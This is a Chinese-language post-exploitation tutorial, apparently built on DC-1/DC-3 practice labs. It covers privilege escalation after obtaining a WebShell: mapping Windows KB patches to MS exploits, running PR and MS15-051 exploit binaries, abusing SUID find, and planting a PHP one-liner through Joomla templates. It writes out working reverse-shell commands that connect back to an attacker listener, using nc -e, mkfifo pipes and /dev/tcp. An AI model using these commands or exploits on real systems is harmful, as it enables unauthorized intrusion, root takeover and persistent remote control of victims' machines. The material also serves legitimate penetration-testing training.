当拿到WebShell 之后,下⼀步⼲什么?
权限提升
通过一些最初的漏洞利⽤途径,攻击者将获得⼀定的访问权限。接着,攻击者将逐步探
查其破坏的系统来获得⽐最初更多的权限,以期望从其他账户访问敏感信息,甚⾄获得
对整个系统的完全管理控制。当攻击者以这种⽅式扩⼤其最初的未经授权访问的权限
时,将其⾏为称为权限提升攻击。简单来说,就是获取⽐最初更多的权限,甚⾄系统权限。
⽔平权限提升(越权)
我们假设攻击者已经获得了在线银⾏账户的访问权限,他的⽬的是窃取⾦钱,但他从这⼀账户中窃
取的⾦钱并不多。这时,他就会寻找信息或者尝试各种漏洞利⽤途径来获得对其他账户的访问权
限。这称之为⽔平权限提升,因为攻击者是在具有相似权限的账户中横向移动。
垂直权限提升
通常攻击者的动机是完全控制计算机系统(管理员权限),以便可以任意使⽤系统。当攻击者⾸先从
被攻击的⽤户账户开始并能够将其拥有的单⼀⽤户扩⼤或提升完全管理权限或“根”权限时,我们称
这类攻击为垂直权限提升。
windows 提权
针对于很多windows 系统,有时候会安装Web 套件(phpStudy),Web 套件的权限是⽐较⾼的。
操作系统漏洞提权
根据没有修补的补丁号码,直接提权即可。
补丁:kb
漏洞公告:MS
补丁与漏洞对照表
KB2360937 MS10-084
KB2478960 MS11-014KB2507938 MS11-056KB2566454 MS11-062KB2646524 MS12-003KB2645640 MS12-009KB2641653 MS12-018KB944653 MS07-067KB952004 MS09-012 PR
KB971657 MS09-041KB2620712 MS11-097KB2393802 MS11-011kb942831 MS08-005KB2503665 MS11-046KB2592799 MS11-080KB956572 MS09-012 巴⻄烤⾁
KB2621440 MS12-020KB977165 MS10-015 Ms Viru
KB4013081 MS17-017KB3139914 MS16-032KB3124280 MS16-016KB3134228 MS16-014KB3079904 MS15-097KB3077657 MS15-077KB3045171 MS15-051KB3000061 MS14-058KB2829361 MS13-046KB2850851 MS13-053 EPATHOBJ 0day 限32位
KB2707511 MS12-042 sysret -pid
KB2124261 KB2271195 MS10-065 IIS7
KB3198234 MS16-135KB970483 MS09-020 IIS6
KB3031432 MS15-015
Windows Server 2003:
Window Server 2008访问:
password:black
未执行,权限过低!
手动上传一个提权工具:
systeminfo>C:WindowsTempa.txt&(for %i in (KB3057191 KB2840221 KB3000061
KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type
C:WindowsTempa.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a
C:WindowsTempa.txt
根据补丁与漏洞对照表,可选择PR 提权。(具体提权原理涉及到Windows 系统底层知识,此处不再赘述,只需要使⽤提权EXP 即可)
/c C:/Inetpub/ewebeditorv280/uploadfile/pr.exe "whoami"
Windows Server 2008:
执⾏以下命令
systeminfo>C:WindowsTempa.txt&(for %i in (KB3124280 KB3143141 KB3134228
KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851KB2707511 KB970483 KB2124261 KB2271195 KB3031432) do @type
C:WindowsTempa.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a
C:WindowsTempa.txt
根据补丁对照表,我们选择MS15-051。
上传EXP (注意上传到可写⽬录)并提权!
数据库提权
核⼼思路:利⽤数据库执⾏系统命令。
MSSQL 提权
需要提供sa ⽤户密码。
MySQL 提权
需要知道root ⽤户密码。
MySQL udf 提权MySQL mof 提权
反弹Shell
由于WebShell (正向Shell)是基于HTTP 的,不是持久性链接。
可以通过反弹Shell 的⽅法获得持久性连接(基于TCP 协议的),⽅便与对⽅进⾏通信。
反弹shell ,让对⽅主动来连接“我”。
windows 平台
windows 平台需要借助 nc.exe ⼯具。
# 本地监听 2333 端⼝
nc.exe -lnvp 2333
ncat -lnvp 2333
# 服务器端反弹Shell
nc.exe -e cmd.exe 192.168.10.10 2333
ms15-051.exe "nc.exe -e cmd.exe 192.168.16.104 2333"
反弹成功:
提权:
linux平台
在获得⽬标系统WebShell 的情况下
# 本地监听2333 端⼝
ncat -lnvp 2333
# 服务端反弹shellnc -e /bin/bash 192.168.16.100 2333
不需要-e参数的情况:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.100 2333
>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.16.100 2333
>/tmp/f
/bin/sh -i >& /dev/tcp/192.168.16.100/2333 0>&1
Linux 提权
SUID 提权
⽬标环境:DC1
SUID 的概念:具有SUID 标识的命令,在执⾏期间拥有所有者权限。
特点:简单、快速。
进⼊交互式Shell
Python --version
python -c 'import pty;pty.spawn("/bin/bash")'
系统中具有SUID 标识的命令都有哪些
find / -perm -4000 2>/dev/null
www-data@DC-1:/var/www$ ls -alh /usr/bin/find
ls -alh /usr/bin/find-rwsr-xr-x 1 root root 159K Jan 6 2012 /usr/bin/find
www-data@DC-1:/var/www$
# find 命令在执⾏期间具有root 权限
⽤find 命令调⽤bash
find /tmp/ajest -exec "/bin/bash" ;
find /tmp/ajest -exec "/bin/sh" ;
其他可以提权(调⽤Shell)命令
vim
gitnmap...
注意:先前文章已有详细介绍,这里不再赘述!
操作系统漏洞提权
⽬标环境:DC3
searchsploit joomla 3.7.0
getShell:
写入一句话木马,通过蚁剑连接:
# 如果以管理员身份登录joomla ,就可以编辑后台脚本(php)⽂件。
# 修改⽹站后台脚本⽂件的位置
Extensions|Templates|Templates|Beez3 Details and Files
http://192.168.16.109/templates/beez3/html/config.php
普通权限,提权:
上传提权脚本
.sh:检查系统中存在哪些可以利用的提权漏洞
提权成功:
获取DC3的flag:
=== Well Done!===